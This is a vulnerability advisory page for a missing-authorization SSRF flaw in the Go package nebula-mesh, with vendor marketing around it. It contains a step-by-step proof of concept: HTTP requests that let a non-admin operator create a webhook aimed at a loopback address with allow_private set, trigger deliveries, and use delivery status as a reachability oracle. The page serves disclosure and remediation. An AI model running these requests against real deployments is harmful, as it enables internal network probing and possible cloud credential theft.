GHSA-7RX3-5WX3-5V76

GHSA-7RX3-5WX3-5V76 is a high-severity missing authorization vulnerability in github.com/forgekeep/nebula-mesh (go), affecting versions >= 0.6.0, <= 0.7.1. It is fixed in 0.7.2.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Nebula-mesh allows non-admin operators to disable webhook SSRF protection via allow_private

Non-admin operators (role user) can set allow_private: true on their own managed webhook subscription (POST/PATCH /api/v1/webhook-subscriptions). No admin check exists on this field. At delivery time, allow_private switches the dispatcher to an unguarded HTTP client, bypassing the private/loopback/link-local SSRF guard, letting a low-privilege operator make the server request internal addresses.

Details

internal/api/webhooks.go:67 (handleCreateWebhookSubscription) and :110 (handleUpdateWebhookSubscription) persist operator-supplied AllowPrivate with no role check, only ownership is enforced (canAccessWebhookSub), and that's not even called on create.

internal/webhook/webhook.go:294-296:

client := d.guarded
if tgt.AllowPrivate {
    client = d.unguarded
}

d.unguarded skips the loopback/private/link-local rejection config.ValidateWebhookURL otherwise enforces.

Every other tenant-impacting toggle (network create internal/api/networks.go:21, settings PATCH internal/api/settings.go:36, CA management) gates on isActiveAdmin. allow_private is the exception, introduced with managed webhook subscriptions (PR #258) and missed by the two prior fixes for the same authz-gap class in this repo (GHSA-598g-h2vc-h5vg, GHSA-c6v2-3ffm-vcmc).

PoC

Verified live against a real running instance of nebula-mesh (HEAD 2c3457c, built and run locally, no third-party requests made, the "internal service" below is a loopback listener standing in for one). Setup: nebula-mgmt init + serve on 127.0.0.1:8181; admin CLI creates operator lowpriv with -role user and mints it an API key (d984bb...c7c), the routine, legitimate way any non-admin operator gets access. lowpriv self-mints its own CA (POST /api/v1/cas, allowed for any operator) and creates a host on a network scoped to that CA, so it owns something it can legitimately act on.

Step 1, create-side bypass, as the non-admin lowpriv operator:

POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":true,"events":["host.enrolled"]}

Actual response:

HTTP/1.1 201 Created

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50","owner_operator_id":"a4ec02d3-c7ae-412d-a2ff-567d36315191","url":"http://127.0.0.1:9999/internal-admin","events":["host.enrolled"],"active":true,"allow_private":true,"has_secret":false,"consecutive_failures":0,"created_at":"2026-07-01T13:38:22.637847+07:00","updated_at":"2026-07-01T13:38:22.637847+07:00"}

201 Created, allow_private:true persisted, owner_operator_id is the non-admin lowpriv account (role: "user"). No 403 Forbidden, which is what every comparable admin-gated endpoint (POST /api/v1/networks, PATCH /api/v1/settings) returns for this same non-admin key.

Control, same non-admin key, same target, allow_private omitted (defaults false):

POST /api/v1/webhook-subscriptions HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
Content-Type: application/json

{"url":"http://127.0.0.1:9999/internal-admin","allow_private":false}
HTTP/1.1 400 Bad Request

{"error":"url: \"127.0.0.1\" is a private/loopback/link-local address; allow it explicitly only for an intentional internal sink"}

Confirms the guard is real and active for this exact target, allow_private:true in Step 1 is what disabled it.

Step 2, delivery-side SSRF. A Python http.server listener bound 127.0.0.1:9999, logging every request it receives. lowpriv fires a host-lifecycle event on the host it owns:

POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/unblock HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
POST /api/v1/hosts/48103bac-66e9-43bd-9211-8d574e0877e9/block HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c

Both returned 200 OK. The listener received, in real time, two outbound POSTs from the nebula-mesh server itself:

RECEIVED: /internal-admin {"id":"evt_99c1902b-78f1-4e71-bd3d-a5586172c1e6","type":"host.unblocked","created_at":"2026-07-01T06:42:11.5305Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}
RECEIVED: /internal-admin {"id":"evt_7e411cf3-8fc0-4816-a7fe-52b623feef1c","type":"host.blocked","created_at":"2026-07-01T06:42:11.543246Z","data":{"ca_id":"74cb77b9-2adf-499c-b1d6-707b49486a7e","host_id":"48103bac-66e9-43bd-9211-8d574e0877e9","host_name":"poc-host","network_id":"eacf739f-f57d-4cbc-b391-2a0996c72b98"}}

Same result holds for host.enrolled, any lifecycle event the operator can cause on a resource they own routes through the same dispatcher code path.

Step 3, reachability oracle:

GET /api/v1/webhook-subscriptions/bcad45e0-acc5-47ac-bb48-c4fc66959e50 HTTP/1.1
Authorization: Bearer d984bbe6680a9b3f57def0caf8556466e502d35c8c287bd2f1fd6938fcda2e7c
HTTP/1.1 200 OK

{"id":"bcad45e0-acc5-47ac-bb48-c4fc66959e50", ... ,"last_delivery_at":"2026-07-01T13:42:11.544244+07:00","last_status":"ok","consecutive_failures":0, ...}

last_status/last_error confirm delivery outcome and, on failure, the dial/connection error string, a reachability oracle over internal addresses. The dispatcher's delivery-recording path stores success/failure and error text only, never the target's response body.

Impact

A non-admin operator gains server-side request capability against internal-only/loopback addresses, outside the admin boundary the codebase enforces everywhere else. Enables internal reachability probing and blind POST interaction with internal services. May expose cloud IAM credentials on deployments where the metadata service accepts unauthenticated/IMDSv1-style requests, conditional on target config, not guaranteed (IMDSv2's token requirement would block it).

The application does not perform an authorization check before performing a sensitive operation. Typical impact: unauthorized access to restricted functionality or data.

GHSA-7RX3-5WX3-5V76 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.7.2); upgrading removes the vulnerable code path.

Affected versions

github.com/forgekeep/nebula-mesh (>= 0.6.0, <= 0.7.1)

Security releases

github.com/forgekeep/nebula-mesh → 0.7.2 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/forgekeep/nebula-mesh to 0.7.2 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-7RX3-5WX3-5V76? GHSA-7RX3-5WX3-5V76 is a high-severity missing authorization vulnerability in github.com/forgekeep/nebula-mesh (go), affecting versions >= 0.6.0, <= 0.7.1. It is fixed in 0.7.2. The application does not perform an authorization check before performing a sensitive operation.
  2. How severe is GHSA-7RX3-5WX3-5V76? GHSA-7RX3-5WX3-5V76 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/forgekeep/nebula-mesh are affected by GHSA-7RX3-5WX3-5V76? github.com/forgekeep/nebula-mesh (go) versions >= 0.6.0, <= 0.7.1 is affected.
  4. Is there a fix for GHSA-7RX3-5WX3-5V76? Yes. GHSA-7RX3-5WX3-5V76 is fixed in 0.7.2. Upgrade to this version or later.
  5. Is GHSA-7RX3-5WX3-5V76 exploitable, and should I be worried? Whether GHSA-7RX3-5WX3-5V76 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-7RX3-5WX3-5V76 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-7RX3-5WX3-5V76? Upgrade github.com/forgekeep/nebula-mesh to 0.7.2 or later.

Other vulnerabilities in github.com/forgekeep/nebula-mesh

Stop the waste.
Protect your environment with Kodem.